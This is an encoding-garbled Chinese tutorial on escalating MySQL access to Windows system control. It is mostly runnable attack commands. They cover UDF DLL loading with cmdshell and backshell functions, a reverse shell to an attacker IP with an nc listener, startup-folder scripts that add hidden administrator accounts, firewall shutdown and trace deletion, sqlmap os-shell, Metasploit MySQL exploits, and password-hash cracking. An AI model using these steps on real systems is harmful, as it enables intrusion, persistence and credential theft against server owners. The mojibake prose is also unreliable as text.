Á¬²»ÉÏ3389¿ÉÒÔÏÈÍ£Ö¹windows·À»ðǽºÍɸѡ

select sys_eval(¡®net stop policyagent¡¯);
select sys_eval(¡®net stop sharedaccess¡¯);

udf.dllϳ£¼ûº¯Êý£º

cmdshell Ö´ÐÐcmd;
downloader ÏÂÔØÕß,µ½ÍøÉÏÏÂÔØÖ¸¶¨Îļþ²¢±£´æµ½Ö¸¶¨Ä¿Â¼;
open3389 ͨÓÿª3389ÖÕ¶Ë·þÎñ,¿ÉÖ¸¶¨¶Ë¿Ú(²»¸Ä¶Ë¿ÚÎÞÐèÖØÆô);
backshell ·´µ¯Shell;
ProcessView ö¾Ùϵͳ½ø³Ì;
KillProcess ÖÕÖ¹Ö¸¶¨½ø³Ì;
regread ¶Á×¢²á±í;
regwrite дע²á±í;
shut ¹Ø»ú,×¢Ïú,ÖØÆô;
about ˵Ã÷Óë°ïÖúº¯Êý;

¾ßÌåÓû§Ê¾Àý£º

select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
select cmdshell('netstat -an');

£¨5£©Çå³ýºÛ¼£

drop function cmdshell;//½«º¯Êýɾ³ý

ɾ³ýudf.dllÎļþÒÔ¼°ÆäËüÏà¹ØÈëÇÖÎļþ¼°ÈÕÖ¾¡£

£¨6£©³£¼û´íÎó

1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

ÔÚmy.ini»òÕßmysql.cnfÎļþÖÐ×¢Ïú (ʹÓÃ#ºÅ) °üº¬secure_file_privµÄÐÐ(SHOW VARIABLES LIKE ¡°secure_file_priv¡±)¡£

1123 - Can't initialize function 'backshell';
UDFs are unavailable with the --skip-grant-tables option

ÐèÒª½«my.iniÖеÄskip-grant-tablesÑ¡ÏîÈ¥µô¡£

3.webshellÏÂudfÌáȨ

ͨ¹ý¼¯³ÉudfÌáȨµÄwebshellÊäÈëÊý¾Ý¿âÓû§Ãû¼°ÃÜÂëÒÔ¼°Êý¾Ý¿â·þÎñÆ÷µØÖ·»òÕßIPͨ¹ýÁ¬½Óºóµ¼³ö½øÐÐÌáȨ¡£

4.MysqlÌáȨ×ÛºÏÀûÓù¤¾ß

v5est0r дÁËÒ»¸öMysqlÌáȨ×ÛºÏÀûÓù¤¾ß£¬ÏêϸÇé¿öÇë²Î¿¼Æä´úÂë¹²ÏíÍøÕ¾£º https://github.com/v5est0r/Python_FuckMySQLÆäÖ÷Òª¹¦ÄÜÓУº

£¨1£©×Ô¶¯µ¼³öÄãµÄbackdoorºÍmofÎļþ
£¨2£©×Ô¶¯ÅжÏmysql°æ±¾£¬¸ù¾Ý°æ±¾²»Í¬µ¼³öUDFµÄDLLµ½²»Í¬Ä¿Â¼£¬UDFÌáȨ
£¨3£©µ¼³öLPK.dllÎļþ£¬½Ù³ÖϵͳĿ¼ÌáȨ
£¨4£©Ð´Æô¶¯ÏîÌáȨ

UdF×Ô¶¯ÌáȨ£º

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf

LPK½Ù³ÖÌáȨ£º

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk

Æô¶¯ÏîÌáȨ£º

python root.py -a 127.0.0.1 -p root -e "ver&whoami" ¨Cmst

ÀýÈçͨ¹ýLOAD_FILEÀ´²é¿´MysqlÅäÖÃÎļþmy.ini£¬Èç¹ûÆäÖÐÅäÖÃÁËskip-grant-tables£¬ÕâÎÞ·¨½øÐÐÌáȨ

1.6.3ÎÞ·¨»ñÈ¡webshellÌáȨ

1.Á¬½Ómysql

£¨1£©mysql.exe -h ip -uroot -p
£¨2£©phpmyadmin
£¨3£©Navicat for MySQL

2.²é¿´Êý¾Ý¿â°æ±¾ºÍÊý¾Ý·¾¶

SELECT VERSION( );
Select @@datadir;
5.1ÒÔϰ汾£¬½«dllµ¼Èëµ½c:/windows»òÕßc:/windows/system32/
5.1ÒÔÉϰ汾 ͨ¹ýÒÔϲéѯÀ´»ñÈ¡²å¼þ·¾¶£º
SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
show variables like '%plugin%' ;
select load_file('C:/phpStudy/Apache/conf/httpd.conf')
select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
select load_file('d:/phpStudy/Apache/conf/vhosts.conf')

3.ÐÞ¸Ämysql.txt

Mysql.txtΪudf.dllµÄ¶þ½øÖÆÎļþת³ÉÊ®Áù½øÖÆ´úÂë¡£

£¨1£©ÏÈÖ´Ðе¼Èëghost±íÖеÄÄÚÈÝ

ÐÞ¸ÄÒÔÏ´úÂëµÄĩβ´úÂë select backshell(¡°YourIP¡±,4444);

£¨2£©µ¼³öÎļþµ½Ä³¸öĿ¼

select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';
select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';
select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';
select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'
select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';
select load_file('C:/ProgramData/MySQL/ MySQL Server 5.1/Data/mysql/user.frm');
select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'

£¨3£©²é¿´FUNCTIONÖÐÊÇ·ñ´æÔÚcmdshellºÍbackshell

´æÔÚÔòɾ³ý£º

drop FUNCTION cmdshell;//ɾ³ýcmdshell
drop FUNCTION backshell;//ɾ³ýbackshell

´´½¨backshell£º

CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //´´½¨backshell

Ôھ߱¸¶ÀÁ¢Ö÷»úµÄ·þÎñÆ÷ÉÏÖ´ÐмàÌý:

nc -vv -l -p 44444

Ö´Ðвéѯ£º

select backshell("192.192.192.1",44444);//ÐÞ¸Ä192.192.192.1ΪÄãµÄIPºÍ¶Ë¿Ú

4.»ñÈ¡webshellºóÌí¼ÓÓû§ÃüÁî

×¢ÒâÈç¹û²»ÄÜÖ±½ÓÖ´ÐУ¬ÔòÐèÒªµ½c:\windows\system32\ÏÂÖ´ÐÐ

net user antian365 www.xianzhi.aliyun.com /add
net localgroup administrators antian365

1.6.4sqlmapÖ±Á¬Êý¾Ý¿âÌáȨ

SqlmapÖ±½ÓÁ¬½ÓÊý¾Ý¿âÌáȨ£¬ÐèÒªÓÐдÈëȨÏÞºÍrootÕ˺ż°ÃÜÂ룬ÃüÁîÈçÏ£º

£¨1£©Á¬½ÓÊý¾Ý¿â

sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell

£¨2£©Ñ¡Ôñ²Ù×÷ϵͳµÄ¼Ü¹¹£¬32λ²Ù×÷ϵͳѡÔñ1£¬64λѡÔñ2.

£¨3£©×Ô¶¯ÉÏ´«udf»òÌáʾos-shell

£¨4£©Ö´ÐÐwhomaiÃüÁîÈç¹û»ñȡϵͳȨÏÞ£¬Ôò±íʾÌáȨ³É¹¦¡£

4.msfudfÌáȨ

KaliÉøÍ¸²âÊÔÆ½Ì¨ÏÂÖ´ÐУ¨kaliÏÂÔØµØ https://www.kali.org/downloads/£©£º

msfconsole
use exploit/windows/mysql/mysql_payload
options
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run 0»òÕßexploit

msfÏÂudfÌáȨ³É¹¦Âʲ¢²»¸ß£¬¸úwindows²Ù×÷ϵͳ°æ±¾£¬È¨ÏÞºÍÊý¾Ý¿â°æ±¾Óйأ¬ÌرðÊÇsecure-file-privÑ¡ÏÈç¹ûÓиÃÑ¡Ïî»ù±¾²»»á³É¹¦¡£

1.6.4Æô¶¯ÏîÌáȨ

1.´´½¨±í²¢²åÈëvbs½Å±¾µ½±íÖÐ

ÒÀ´ÎʹÓÃÒÔÏÂÃüÁ

show databases ;
use test;
show tables;
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );
select \ from a;
  1. µ¼³övbs½Å±¾µ½Æô¶¯

ʹÓÃÒÔÏÂÃüÁ¸Õ²ÅÔÚa±íÖд´½¨µÄvbs½Å±¾µ¼³öµ½Æô¶¯Ñ¡ÏîÖС£

select \ from a into outfile "C:\\Documents and Settings\\All Users\\¡¸¿ªÊ¼¡¹²Ëµ¥\\³ÌÐò\\Æô¶¯\\a.vbs";

µ¼Èë³É¹¦ºó£¬ÏµÍ³ÖØÐÂÆô¶¯Ê±»á×Ô¶¯Ìí¼ÓÃÜÂëΪ¡°1¡±ÇÒÓû§Ãû³ÆÎª¡°1¡±µÄÓû§µ½¹ÜÀíÔ±×éÖС£ÔÚʵ¼ÊʹÓùý³ÌÖиýű¾³É¹¦Ö´Ðеļ¸ÂʱȽϵͣ¬ÓÐʱºò»á³öÏÖ²»Äܵ¼³öµÄ´íÎó.

ÍÆ¼öʹÓÃÒÔϽű¾£º

show databases ;
use test;
show tables;
create table b (cmd text);
insert into b values ("net user Aspnet123545345! /add");
insert into b values ("net localgroup administrators Aspnet /add");
insert into b values ("del b.bat");
select from b into outfile "C:\\Documents and Settings\\All Users\\ ¡¸¿ªÊ¼¡¹²Ëµ¥\\³ÌÐò\\Æô¶¯\\b.bat";

¸Ã½Å±¾Ö´ÐкóËäÈ»»áÉÁÏÖDos´°¿Ú£¬Èç¹ûÓÐȨÏÞµ¼Èëµ½Æô¶¯Ñ¡ÏîÖУ¬ÔòÒ»¶¨»áÖ´Ðгɹ¦£¬ÔÚÐéÄâ»úÖÐͨ¹ýMySQLÁ¬½ÓÆ÷Á¬½Ó²¢Ö´ÐÐÒÔÉÏÃüÁîºó£¬ÔÚC:\Documents and Settings\All Users\¡¸¿ªÊ¼¡¹²Ëµ¥\³ÌÐò\Æô¶¯Ä¿Â¼ÖлáÓиղŵ¼³öµÄb.bat½Å±¾Îļþ

˵Ã÷

ÔÚ²»Í¬µÄ²Ù×÷ϵͳÖÐC:\Documents and Settings\All Users\¡¸¿ªÊ¼¡¹²Ëµ¥\³ÌÐò\Æô¶¯Ä¿Â¼ÎļþÃû³Æ¿ÉÄܻ᲻ͬ£¬Õâ¸öʱºò¾ÍÒª½«ÆäĿ¼»»³ÉÏàÓ¦µÄĿ¼Ãû³Æ¼´¿É¡£ÀýÈçÈç¹ûÊÇÓ¢Îİ汾²Ù×÷ϵͳÔòÆä²åÈëµÄ´úÂëΪ£º

select from b into outfile "C:\\Documents and Settings\\All Users\\ Start Menu\\Programs\\Startup\\b.bat";

Windows 2008 ServerµÄÆô¶¯Ä¿Â¼Îª£º

C:\\ProgramData\\Microsoft\\Windows \\Start Menu\\Programs\\Startup\\iis.vbs

Æävbs·½·¨¿ÉÒԲο¼ÈçÏÂд·¨£º

create table a (cmd text);
insert into a values ("set wshshell= createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );
insert into a values ("b=wshshell.run ("" cmd.exe /c net localgroup Administrators antian365 /add"",0) " );
select \ from a into outfile "C:\\ProgramData\\Microsoft\\ Windows\\Start Menu\\Programs\\Startup\\iis.vbs";

3.msfÏÂÄ£¿éexploit/windows/mysql/mysql_start_upÌáȨ

use exploit/windows/mysql/mysql_start_up
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run

msfÏÂmysql_start_upÌáȨÓÐÒ»¶¨µÄ¼¸ÂÊ£¬¶ÔÓ¢ÎİæÏµÍ³Ö§³Ö½ÏºÃ¡£

1.7MsfÆäËüÏà¹ØÂ©¶´ÌáȨ

1.MysqlÉí·ÝÈÏ֤©¶´¼°ÀûÓÃ(CVE-2012-2122)

µ±Á¬½ÓMariaDB/MySQLʱ£¬ÊäÈëµÄÃÜÂë»áÓëÆÚÍûµÄÕýÈ·ÃÜÂë±È½Ï£¬ÓÉÓÚ²»ÕýÈ·µÄ´¦Àí£¬»áµ¼Ö¼´±ãÊÇmemcmp()·µ»ØÒ»¸ö·ÇÁãÖµ£¬Ò²»áʹMySQLÈÏΪÁ½¸öÃÜÂëÊÇÏàͬµÄ¡£Ò²¾ÍÊÇ˵ֻҪ֪µÀÓû§Ãû£¬²»¶Ï³¢ÊÔ¾ÍÄܹ»Ö±½ÓµÇÈëSQLÊý¾Ý¿â¡£°´ÕÕ¹«¸æËµ·¨´óÔ¼256´Î¾ÍÄܹ»ÃɶÔÒ»´Î¡£ÊÜÓ°ÏìµÄ²úÆ·£º All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 ´æÔÚ©¶´.

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23²»´æÔÚ©¶´.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not²»´æÔÚ©¶´.

use auxiliary/scanner/mysql/ mysql_authbypass_hashdump

2.exploit/windows/mysql/mysql_yassl_hello

3.exploit/windows/mysql/scrutinizer_upload_exec

1.8.mysqlÃÜÂëÆÆ½â

1.8.1cain¹¤¾ßÆÆ½âmysqlÃÜÂë

ʹÓÃUltraEdit-32±à¼­Æ÷Ö±½Ó´ò¿ªuser.MYDÎļþ£¬´ò¿ªºóʹÓöþ½øÖÆÄ£Ê½½øÐв鿴£¬ÔÚrootÓû§ºóÃæÊÇÒ»´®×Ö·û´®£¬Ñ¡ÖÐÕâЩ×Ö·û´®½«Æä¸´ÖƵ½¼Çʱ¾ÖУ¬ÕâЩ×Ö·û´®¼´ÎªÓû§¼ÓÃÜÖµ£¬ÀýÈç506D1427F6F61696B4501445C90624897266DAE3¡£

×¢Ò⣺

    1. rootºóÃæµÄ¡°¡±²»Òª¸´ÖƵ½×Ö·û´®ÖС£
    2. ÔÚÓÐЩÇé¿öÏÂÐèÒªÍùºóÃæ¿´¿´£¬·ñÔòµÃµ½µÄ²»ÊÇÍêÕûµÄMYSQLSHA1ÃÜÂ룬×ÜÖ®ÆäÕýÈ·µÄÃÜÂëλÊýÊÇ40λ¡£

°²×°cain¹¤¾ß£¬Ê¹ÓÃcracker£¬ÓÒ¼üµ¥»÷¡°Add tolist¡±½«Mysql HashesÖµ¼ÓÈëµ½ÆÆ½âÁбíÖУ¬Ê¹ÓÃÈí¼þÖеÄ×ֵ䡢±©Á¦ÆÆ½âµÈ·½Ê½À´½øÐб©Á¦ÆÆ½â¡£

1.8.2ÍøÕ¾ÔÚÏßÃÜÂëÆÆ½â

    1. cmd5.comÆÆ½â¡£½«»ñÈ¡µÄmysqlÖµ·ÅÔÚcmd5.comÍøÕ¾ÖнøÐвéѯ£¬mysqlÃÜÂëÒ»°ã¶¼ÊÇÊշѵġ£
    2. somd5.comÆÆ½â¡£Somd5.comÊǺóÃæ³öÏÖµÄÒ»¸öÃâ·ÑÆÆ½âÍøÕ¾£¬Ã¿´ÎÆÆ½âÐèÒªÊÖ¹¤Ñ¡ÔñͼÐÎÂë½øÐÐÆÆ½â£¬Ëٶȿ죬Ч¹ûºÃ£¬Ö»ÊÇÿ´ÎÖ»ÄÜÆÆ½âÒ»¸ö£¬¶øÇÒÆÆ½âÒ»´ÎºóÐèÒªÖØÐÂÊäÈëÑéÖ¤Âë¡£

1.8.3oclhashÆÆ½â

hashcatÖ§³ÖºÜ¶àÖÖÆÆ½âËã·¨£¬Ãâ·Ñ¿ªÔ´Èí¼þ£¬¹Ù·½ÍøÕ¾ https://hashcat.net/hashcat/£¬ÆÆ½âÃüÁ

hashcat64.exe -m 200myql.hashpass.dict //ÆÆ½âMySQL323ÀàÐÍ

hashcat64.exe -m 300myql.hashpass.dict //ÆÆ½âMySQL4.1/MySQL5ÀàÐÍ

1.8.4 John the Ripper password cracker

John the RipperÏÂÔØµØÖ·£º http://www.openwall.com /john/h/john179w2.zip£¬John the Ripper³ýÁËÄܹ»ÆÆ½âlinuxÍ⣬»¹ÄÜÆÆ½â¶àÖÖ¸ñʽµÄÃÜÂë¡£

Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B> hashes.txt
John ¨Cformat =mysql-sha1 hashes.txt
john --list=formats | grep mysql //²é¿´Ö§³ÖmysqlÃÜÂëÆÆ½âµÄËã·¨

End.

   
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